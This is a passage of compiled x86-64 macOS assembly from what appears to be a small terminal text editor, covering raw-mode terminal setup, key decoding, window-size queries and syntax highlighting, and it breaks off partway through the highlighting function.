.asciz "HELP: Ctrl-S = save | Ctrl-Q = quit | Ctrl-F = find"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _disableRawMode ## -- Begin function disableRawMode
.p2align 4, 0x90
_disableRawMode: ## @disableRawMode
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
cmpl $0, _E+28(%rip)
je LBB0_2
## %bb.1:
movl -4(%rbp), %edi
movl $2, %esi
leaq _orig_termios(%rip), %rdx
callq _tcsetattr
movl $0, _E+28(%rip)
LBB0_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorAtExit ## -- Begin function editorAtExit
.p2align 4, 0x90
_editorAtExit: ## @editorAtExit
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
xorl %edi, %edi
callq _disableRawMode
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _enableRawMode ## -- Begin function enableRawMode
.p2align 4, 0x90
_enableRawMode: ## @enableRawMode
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -88(%rbp)
cmpl $0, _E+28(%rip)
je LBB2_2
## %bb.1:
movl $0, -84(%rbp)
jmp LBB2_10
LBB2_2:
xorl %edi, %edi
callq _isatty
cmpl $0, %eax
jne LBB2_4
## %bb.3:
jmp LBB2_9
LBB2_4:
leaq _editorAtExit(%rip), %rdi
callq _atexit
movl -88(%rbp), %edi
leaq _orig_termios(%rip), %rsi
callq _tcgetattr
cmpl $-1, %eax
jne LBB2_6
## %bb.5:
jmp LBB2_9
LBB2_6:
leaq -80(%rbp), %rdi
leaq _orig_termios(%rip), %rsi
movl $72, %edx
callq _memcpy
movq -80(%rbp), %rax
andq $-819, %rax ## imm = 0xFCCD
movq %rax, -80(%rbp)
movq -72(%rbp), %rax
andq $-2, %rax
movq %rax, -72(%rbp)
movq -64(%rbp), %rax
orq $768, %rax ## imm = 0x300
movq %rax, -64(%rbp)
movq -56(%rbp), %rax
andq $-1417, %rax ## imm = 0xFA77
movq %rax, -56(%rbp)
movb $0, -32(%rbp)
movb $1, -31(%rbp)
movl -88(%rbp), %edi
movl $2, %esi
leaq -80(%rbp), %rdx
callq _tcsetattr
cmpl $0, %eax
jge LBB2_8
## %bb.7:
jmp LBB2_9
LBB2_8:
movl $1, _E+28(%rip)
movl $0, -84(%rbp)
jmp LBB2_10
LBB2_9:
callq ___error
movl $25, (%rax)
movl $-1, -84(%rbp)
LBB2_10:
movl -84(%rbp), %eax
movl %eax, -92(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_12
## %bb.11:
movl -92(%rbp), %eax ## 4-byte Reload
addq $96, %rsp
popq %rbp
retq
LBB2_12:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _editorReadKey ## -- Begin function editorReadKey
.p2align 4, 0x90
_editorReadKey: ## @editorReadKey
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl %edi, -8(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movl -8(%rbp), %edi
leaq -13(%rbp), %rsi
movl $1, %edx
callq _read
## kill: def $eax killed $eax killed $rax
movl %eax, -12(%rbp)
cmpl $0, %eax
jne LBB3_3
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_1
LBB3_3:
cmpl $-1, -12(%rbp)
jne LBB3_5
## %bb.4:
movl $1, %edi
callq _exit
LBB3_5:
jmp LBB3_6
LBB3_6: ## =>This Inner Loop Header: Depth=1
movb -13(%rbp), %al
subb $27, %al
jne LBB3_39
jmp LBB3_7
LBB3_7: ## in Loop: Header=BB3_6 Depth=1
movl -8(%rbp), %edi
leaq -16(%rbp), %rsi
movl $1, %edx
callq _read
cmpq $0, %rax
jne LBB3_9
## %bb.8:
movl $27, -4(%rbp)
jmp LBB3_41
LBB3_9: ## in Loop: Header=BB3_6 Depth=1
movl -8(%rbp), %edi
leaq -16(%rbp), %rsi
addq $1, %rsi
movl $1, %edx
callq _read
cmpq $0, %rax
jne LBB3_11
## %bb.10:
movl $27, -4(%rbp)
jmp LBB3_41
LBB3_11: ## in Loop: Header=BB3_6 Depth=1
movsbl -16(%rbp), %eax
cmpl $91, %eax
jne LBB3_32
## %bb.12: ## in Loop: Header=BB3_6 Depth=1
movsbl -15(%rbp), %eax
cmpl $48, %eax
jl LBB3_23
## %bb.13: ## in Loop: Header=BB3_6 Depth=1
movsbl -15(%rbp), %eax
cmpl $57, %eax
jg LBB3_23
## %bb.14: ## in Loop: Header=BB3_6 Depth=1
movl -8(%rbp), %edi
leaq -16(%rbp), %rsi
addq $2, %rsi
movl $1, %edx
callq _read
cmpq $0, %rax
jne LBB3_16
## %bb.15:
movl $27, -4(%rbp)
jmp LBB3_41
LBB3_16: ## in Loop: Header=BB3_6 Depth=1
movsbl -14(%rbp), %eax
cmpl $126, %eax
jne LBB3_22
## %bb.17: ## in Loop: Header=BB3_6 Depth=1
movsbl -15(%rbp), %eax
movl %eax, -20(%rbp) ## 4-byte Spill
subl $51, %eax
je LBB3_18
jmp LBB3_44
LBB3_44: ## in Loop: Header=BB3_6 Depth=1
movl -20(%rbp), %eax ## 4-byte Reload
subl $53, %eax
je LBB3_19
jmp LBB3_45
LBB3_45: ## in Loop: Header=BB3_6 Depth=1
movl -20(%rbp), %eax ## 4-byte Reload
subl $54, %eax
je LBB3_20
jmp LBB3_21
LBB3_18:
movl $1004, -4(%rbp) ## imm = 0x3EC
jmp LBB3_41
LBB3_19:
movl $1007, -4(%rbp) ## imm = 0x3EF
jmp LBB3_41
LBB3_20:
movl $1008, -4(%rbp) ## imm = 0x3F0
jmp LBB3_41
LBB3_21: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_22
LBB3_22: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_31
LBB3_23: ## in Loop: Header=BB3_6 Depth=1
movsbl -15(%rbp), %eax
addl $-65, %eax
movl %eax, %ecx
movq %rcx, -32(%rbp) ## 8-byte Spill
subl $7, %eax
ja LBB3_30
## %bb.43: ## in Loop: Header=BB3_6 Depth=1
movq -32(%rbp), %rax ## 8-byte Reload
leaq LJTI3_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB3_24:
movl $1002, -4(%rbp) ## imm = 0x3EA
jmp LBB3_41
LBB3_25:
movl $1003, -4(%rbp) ## imm = 0x3EB
jmp LBB3_41
LBB3_26:
movl $1001, -4(%rbp) ## imm = 0x3E9
jmp LBB3_41
LBB3_27:
movl $1000, -4(%rbp) ## imm = 0x3E8
jmp LBB3_41
LBB3_28:
movl $1005, -4(%rbp) ## imm = 0x3ED
jmp LBB3_41
LBB3_29:
movl $1006, -4(%rbp) ## imm = 0x3EE
jmp LBB3_41
LBB3_30: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_31
LBB3_31: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_38
LBB3_32: ## in Loop: Header=BB3_6 Depth=1
movsbl -16(%rbp), %eax
cmpl $79, %eax
jne LBB3_37
## %bb.33: ## in Loop: Header=BB3_6 Depth=1
movsbl -15(%rbp), %eax
movl %eax, -36(%rbp) ## 4-byte Spill
subl $70, %eax
je LBB3_35
jmp LBB3_42
LBB3_42: ## in Loop: Header=BB3_6 Depth=1
movl -36(%rbp), %eax ## 4-byte Reload
subl $72, %eax
jne LBB3_36
jmp LBB3_34
LBB3_34:
movl $1005, -4(%rbp) ## imm = 0x3ED
jmp LBB3_41
LBB3_35:
movl $1006, -4(%rbp) ## imm = 0x3EE
jmp LBB3_41
LBB3_36: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_37
LBB3_37: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_38
LBB3_38: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_40
LBB3_39:
movsbl -13(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB3_41
LBB3_40: ## in Loop: Header=BB3_6 Depth=1
jmp LBB3_6
LBB3_41:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L3_0_set_24, LBB3_24-LJTI3_0
.set L3_0_set_25, LBB3_25-LJTI3_0
.set L3_0_set_26, LBB3_26-LJTI3_0
.set L3_0_set_27, LBB3_27-LJTI3_0
.set L3_0_set_30, LBB3_30-LJTI3_0
.set L3_0_set_29, LBB3_29-LJTI3_0
.set L3_0_set_28, LBB3_28-LJTI3_0
LJTI3_0:
.long L3_0_set_24
.long L3_0_set_25
.long L3_0_set_26
.long L3_0_set_27
.long L3_0_set_30
.long L3_0_set_29
.long L3_0_set_30
.long L3_0_set_28
.end_data_region
## -- End function
.globl _getCursorPosition ## -- Begin function getCursorPosition
.p2align 4, 0x90
_getCursorPosition: ## @getCursorPosition
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -56(%rbp)
movl %esi, -60(%rbp)
movq %rdx, -72(%rbp)
movq %rcx, -80(%rbp)
movl $0, -84(%rbp)
movl -60(%rbp), %edi
leaq L_.str.24(%rip), %rsi
movl $4, %edx
callq _write
cmpq $4, %rax
je LBB4_2
## %bb.1:
movl $-1, -52(%rbp)
jmp LBB4_15
LBB4_2:
jmp LBB4_3
LBB4_3: ## =>This Inner Loop Header: Depth=1
movl -84(%rbp), %eax
## kill: def $rax killed $eax
cmpq $31, %rax
jae LBB4_9
## %bb.4: ## in Loop: Header=BB4_3 Depth=1
movl -56(%rbp), %edi
leaq -48(%rbp), %rsi
movl -84(%rbp), %eax
## kill: def $rax killed $eax
addq %rax, %rsi
movl $1, %edx
callq _read
cmpq $1, %rax
je LBB4_6
## %bb.5:
jmp LBB4_9
LBB4_6: ## in Loop: Header=BB4_3 Depth=1
movl -84(%rbp), %eax
## kill: def $rax killed $eax
movsbl -48(%rbp,%rax), %eax
cmpl $82, %eax
jne LBB4_8
## %bb.7:
jmp LBB4_9
LBB4_8: ## in Loop: Header=BB4_3 Depth=1
movl -84(%rbp), %eax
addl $1, %eax
movl %eax, -84(%rbp)
jmp LBB4_3
LBB4_9:
movl -84(%rbp), %eax
## kill: def $rax killed $eax
movb $0, -48(%rbp,%rax)
movsbl -48(%rbp), %eax
cmpl $27, %eax
jne LBB4_11
## %bb.10:
movsbl -47(%rbp), %eax
cmpl $91, %eax
je LBB4_12
LBB4_11:
movl $-1, -52(%rbp)
jmp LBB4_15
LBB4_12:
leaq -48(%rbp), %rdi
addq $2, %rdi
movq -72(%rbp), %rdx
movq -80(%rbp), %rcx
leaq L_.str.25(%rip), %rsi
movb $0, %al
callq _sscanf
cmpl $2, %eax
je LBB4_14
## %bb.13:
movl $-1, -52(%rbp)
jmp LBB4_15
LBB4_14:
movl $0, -52(%rbp)
LBB4_15:
movl -52(%rbp), %eax
movl %eax, -88(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_17
## %bb.16:
movl -88(%rbp), %eax ## 4-byte Reload
addq $96, %rsp
popq %rbp
retq
LBB4_17:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _getWindowSize ## -- Begin function getWindowSize
.p2align 4, 0x90
_getWindowSize: ## @getWindowSize
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -56(%rbp)
movl %esi, -60(%rbp)
movq %rdx, -72(%rbp)
movq %rcx, -80(%rbp)
movl $1, %edi
movl $1074295912, %esi ## imm = 0x40087468
leaq -88(%rbp), %rdx
movb $0, %al
callq _ioctl
cmpl $-1, %eax
je LBB5_2
## %bb.1:
movzwl -86(%rbp), %eax
cmpl $0, %eax
jne LBB5_11
LBB5_2:
movl -56(%rbp), %edi
movl -60(%rbp), %esi
leaq -92(%rbp), %rdx
leaq -96(%rbp), %rcx
callq _getCursorPosition
movl %eax, -100(%rbp)
cmpl $-1, -100(%rbp)
jne LBB5_4
## %bb.3:
jmp LBB5_12
LBB5_4:
movl -60(%rbp), %edi
leaq L_.str.26(%rip), %rsi
movl $12, %edx
callq _write
cmpq $12, %rax
je LBB5_6
## %bb.5:
jmp LBB5_12
LBB5_6:
movl -56(%rbp), %edi
movl -60(%rbp), %esi
movq -72(%rbp), %rdx
movq -80(%rbp), %rcx
callq _getCursorPosition
movl %eax, -100(%rbp)
cmpl $-1, -100(%rbp)
jne LBB5_8
## %bb.7:
jmp LBB5_12
LBB5_8:
leaq -48(%rbp), %rdi
movl -92(%rbp), %r9d
movl -96(%rbp), %eax
movl $32, %ecx
xorl %edx, %edx
leaq L_.str.27(%rip), %r8
movq %rcx, %rsi
movl %eax, (%rsp)
movb $0, %al
callq ___snprintf_chk
movl -60(%rbp), %eax
movl %eax, -116(%rbp) ## 4-byte Spill
leaq -48(%rbp), %rax
movq %rax, -112(%rbp) ## 8-byte Spill
leaq -48(%rbp), %rdi
callq _strlen
movl -116(%rbp), %edi ## 4-byte Reload
movq -112(%rbp), %rsi ## 8-byte Reload
movq %rax, %rdx
callq _write
cmpq $-1, %rax
jne LBB5_10
## %bb.9:
jmp LBB5_10
LBB5_10:
movl $0, -52(%rbp)
jmp LBB5_13
LBB5_11:
movzwl -86(%rbp), %ecx
movq -80(%rbp), %rax
movl %ecx, (%rax)
movzwl -88(%rbp), %ecx
movq -72(%rbp), %rax
movl %ecx, (%rax)
movl $0, -52(%rbp)
jmp LBB5_13
LBB5_12:
movl $-1, -52(%rbp)
LBB5_13:
movl -52(%rbp), %eax
movl %eax, -120(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB5_15
## %bb.14:
movl -120(%rbp), %eax ## 4-byte Reload
addq $128, %rsp
popq %rbp
retq
LBB5_15:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _is_separator ## -- Begin function is_separator
.p2align 4, 0x90
_is_separator: ## @is_separator
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movb $1, %al
cmpl $0, -4(%rbp)
movb %al, -5(%rbp) ## 1-byte Spill
je LBB6_3
## %bb.1:
movl -4(%rbp), %edi
callq _isspace
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -5(%rbp) ## 1-byte Spill
jne LBB6_3
## %bb.2:
movl -4(%rbp), %esi
leaq L_.str.28(%rip), %rdi
callq _strchr
cmpq $0, %rax
setne %al
movb %al, -5(%rbp) ## 1-byte Spill
LBB6_3:
movb -5(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorRowHasOpenComment ## -- Begin function editorRowHasOpenComment
.p2align 4, 0x90
_editorRowHasOpenComment: ## @editorRowHasOpenComment
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq -16(%rbp), %rax
cmpq $0, 32(%rax)
je LBB7_7
## %bb.1:
movq -16(%rbp), %rax
cmpl $0, 8(%rax)
je LBB7_7
## %bb.2:
movq -16(%rbp), %rax
movq 32(%rax), %rax
movq -16(%rbp), %rcx
movl 8(%rcx), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movzbl (%rax,%rcx), %eax
cmpl $3, %eax
jne LBB7_7
## %bb.3:
movq -16(%rbp), %rax
cmpl $2, 8(%rax)
jl LBB7_6
## %bb.4:
movq -16(%rbp), %rax
movq 24(%rax), %rax
movq -16(%rbp), %rcx
movl 8(%rcx), %ecx
subl $2, %ecx
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cmpl $42, %eax
jne LBB7_6
## %bb.5:
movq -16(%rbp), %rax
movq 24(%rax), %rax
movq -16(%rbp), %rcx
movl 8(%rcx), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cmpl $47, %eax
je LBB7_7
LBB7_6:
movl $1, -4(%rbp)
jmp LBB7_8
LBB7_7:
movl $0, -4(%rbp)
LBB7_8:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorUpdateSyntax ## -- Begin function editorUpdateSyntax
.p2align 4, 0x90
_editorUpdateSyntax: ## @editorUpdateSyntax
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq 32(%rax), %rdi
movq -8(%rbp), %rax
movslq 8(%rax), %rsi
callq _realloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, 32(%rax)
movq -8(%rbp), %rax
movq 32(%rax), %rdi
movq -8(%rbp), %rax
movslq 8(%rax), %rdx
xorl %esi, %esi
movq $-1, %rcx
callq ___memset_chk
cmpq $0, _E+144(%rip)
jne LBB8_2
## %bb.1:
jmp LBB8_62
LBB8_2:
movq _E+144(%rip), %rax
movq 8(%rax), %rax
movq %rax, -40(%rbp)
movq _E+144(%rip), %rax
addq $16, %rax
movq %rax, -48(%rbp)
movq _E+144(%rip), %rax
addq $18, %rax
movq %rax, -56(%rbp)
movq _E+144(%rip), %rax
addq $21, %rax
movq %rax, -64(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -32(%rbp)
movl $0, -12(%rbp)
LBB8_3: ## =>This Inner Loop Header: Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -81(%rbp) ## 1-byte Spill
je LBB8_5
## %bb.4: ## in Loop: Header=BB8_3 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %edi
callq _isspace
cmpl $0, %eax
setne %al
movb %al, -81(%rbp) ## 1-byte Spill
LBB8_5: ## in Loop: Header=BB8_3 Depth=1
movb -81(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB8_6
jmp LBB8_7
LBB8_6: ## in Loop: Header=BB8_3 Depth=1
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB8_3
LBB8_7:
movl $1, -16(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movq -8(%rbp), %rax
cmpl $0, (%rax)
jle LBB8_10
## %bb.8:
movq _E+32(%rip), %rdi
movq -8(%rbp), %rax
movl (%rax), %eax
subl $1, %eax
cltq
imulq $48, %rax, %rax
addq %rax, %rdi
callq _editorRowHasOpenComment
cmpl $0, %eax
je LBB8_10
## %bb.9:
movl $1, -24(%rbp)
LBB8_10:
jmp LBB8_11
LBB8_11: ## =>This Loop Header: Depth=1
## Child Loop BB8_46 Depth 2
movq -32(%rbp), %rax
cmpb $0, (%rax)
je LBB8_58
## %bb.12: ## in Loop: Header=BB8_11 Depth=1
cmpl $0, -16(%rbp)
je LBB8_16
## %bb.13: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
movq -48(%rbp), %rcx
movsbl (%rcx), %ecx
cmpl %ecx, %eax
jne LBB8_16
## %bb.14: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl 1(%rax), %eax
movq -48(%rbp), %rcx
movsbl 1(%rcx), %ecx
cmpl %ecx, %eax
jne LBB8_16
## %bb.15:
movq -8(%rbp), %rax
movq 32(%rax), %rdi
movslq -12(%rbp), %rax
addq %rax, %rdi
movq -8(%rbp), %rax
movl 4(%rax), %eax
subl -12(%rbp), %eax
movslq %eax, %rdx
movl $2, %esi
movq $-1, %rcx
callq ___memset_chk
jmp LBB8_62
LBB8_16: ## in Loop: Header=BB8_11 Depth=1
cmpl $0, -24(%rbp)
je LBB8_21
## %bb.17: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movslq -12(%rbp), %rcx
movb $3, (%rax,%rcx)
movq -32(%rbp), %rax
movsbl (%rax), %eax
movq -64(%rbp), %rcx
movsbl (%rcx), %ecx
cmpl %ecx, %eax
jne LBB8_20
## %bb.18: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl 1(%rax), %eax
movq -64(%rbp), %rcx
movsbl 1(%rcx), %ecx
cmpl %ecx, %eax
jne LBB8_20
## %bb.19: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movl -12(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movb $3, (%rax,%rcx)
movq -32(%rbp), %rax
addq $2, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $2, %eax
movl %eax, -12(%rbp)
movl $0, -24(%rbp)
movl $1, -16(%rbp)
jmp LBB8_11
LBB8_20: ## in Loop: Header=BB8_11 Depth=1
movl $0, -16(%rbp)
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB8_11
LBB8_21: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
movq -56(%rbp), %rcx
movsbl (%rcx), %ecx
cmpl %ecx, %eax
jne LBB8_24
## %bb.22: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl 1(%rax), %eax
movq -56(%rbp), %rcx
movsbl 1(%rcx), %ecx
cmpl %ecx, %eax
jne LBB8_24
## %bb.23: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movslq -12(%rbp), %rcx
movb $3, (%rax,%rcx)
movq -8(%rbp), %rax
movq 32(%rax), %rax
movl -12(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movb $3, (%rax,%rcx)
movq -32(%rbp), %rax
addq $2, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $2, %eax
movl %eax, -12(%rbp)
movl $1, -24(%rbp)
movl $0, -16(%rbp)
jmp LBB8_11
LBB8_24: ## in Loop: Header=BB8_11 Depth=1
jmp LBB8_25
LBB8_25: ## in Loop: Header=BB8_11 Depth=1
cmpl $0, -20(%rbp)
je LBB8_31
## %bb.26: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movslq -12(%rbp), %rcx
movb $6, (%rax,%rcx)
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB8_28
## %bb.27: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movl -12(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movb $6, (%rax,%rcx)
movq -32(%rbp), %rax
addq $2, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $2, %eax
movl %eax, -12(%rbp)
movl $0, -16(%rbp)
jmp LBB8_11
LBB8_28: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl -20(%rbp), %eax
jne LBB8_30
## %bb.29: ## in Loop: Header=BB8_11 Depth=1
movl $0, -20(%rbp)
LBB8_30: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB8_11
LBB8_31: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $34, %eax
je LBB8_33
## %bb.32: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $39, %eax
jne LBB8_34
LBB8_33: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
movl %eax, -20(%rbp)
movq -8(%rbp), %rax
movq 32(%rax), %rax
movslq -12(%rbp), %rcx
movb $6, (%rax,%rcx)
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl $0, -16(%rbp)
jmp LBB8_11
LBB8_34: ## in Loop: Header=BB8_11 Depth=1
jmp LBB8_35
LBB8_35: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %edi
callq _isprint
cmpl $0, %eax
jne LBB8_37
## %bb.36: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movslq -12(%rbp), %rcx
movb $1, (%rax,%rcx)
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl $0, -16(%rbp)
jmp LBB8_11
LBB8_37: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %edi
callq _isdigit
cmpl $0, %eax
je LBB8_40
## %bb.38: ## in Loop: Header=BB8_11 Depth=1
cmpl $0, -16(%rbp)
jne LBB8_43
## %bb.39: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movl -12(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movzbl (%rax,%rcx), %eax
cmpl $7, %eax
je LBB8_43
LBB8_40: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $46, %eax
jne LBB8_44
## %bb.41: ## in Loop: Header=BB8_11 Depth=1
cmpl $0, -12(%rbp)
jle LBB8_44
## %bb.42: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movl -12(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movzbl (%rax,%rcx), %eax
cmpl $7, %eax
jne LBB8_44
LBB8_43: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rax
movslq -12(%rbp), %rcx
movb $7, (%rax,%rcx)
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl $0, -16(%rbp)
jmp LBB8_11
LBB8_44: ## in Loop: Header=BB8_11 Depth=1
cmpl $0, -16(%rbp)
je LBB8_57
## %bb.45: ## in Loop: Header=BB8_11 Depth=1
movl $0, -68(%rbp)
LBB8_46: ## Parent Loop BB8_11 Depth=1
## => This Inner Loop Header: Depth=2
movq -40(%rbp), %rax
movslq -68(%rbp), %rcx
cmpq $0, (%rax,%rcx,8)
je LBB8_54
## %bb.47: ## in Loop: Header=BB8_46 Depth=2
movq -40(%rbp), %rax
movslq -68(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -72(%rbp)
movq -40(%rbp), %rax
movslq -68(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movl -72(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cmpl $124, %eax
sete %al
andb $1, %al
movzbl %al, %eax
movl %eax, -76(%rbp)
cmpl $0, -76(%rbp)
je LBB8_49
## %bb.48: ## in Loop: Header=BB8_46 Depth=2
movl -72(%rbp), %eax
addl $-1, %eax
movl %eax, -72(%rbp)
LBB8_49: ## in Loop: Header=BB8_46 Depth=2
movq -32(%rbp), %rdi
movq -40(%rbp), %rax
movslq -68(%rbp), %rcx
movq (%rax,%rcx,8), %rsi
movslq -72(%rbp), %rdx
callq _memcmp
cmpl $0, %eax
jne LBB8_52
## %bb.50: ## in Loop: Header=BB8_46 Depth=2
movq -32(%rbp), %rax
movslq -72(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _is_separator
cmpl $0, %eax
je LBB8_52
## %bb.51: ## in Loop: Header=BB8_11 Depth=1
movq -8(%rbp), %rax
movq 32(%rax), %rdi
movslq -12(%rbp), %rax
addq %rax, %rdi
movl -76(%rbp), %ecx
movl $4, %esi
movl $5, %eax
cmpl $0, %ecx
cmovnel %eax, %esi
movslq -72(%rbp), %rdx
movq $-1, %rcx
callq ___memset_chk
movl -72(%rbp), %ecx
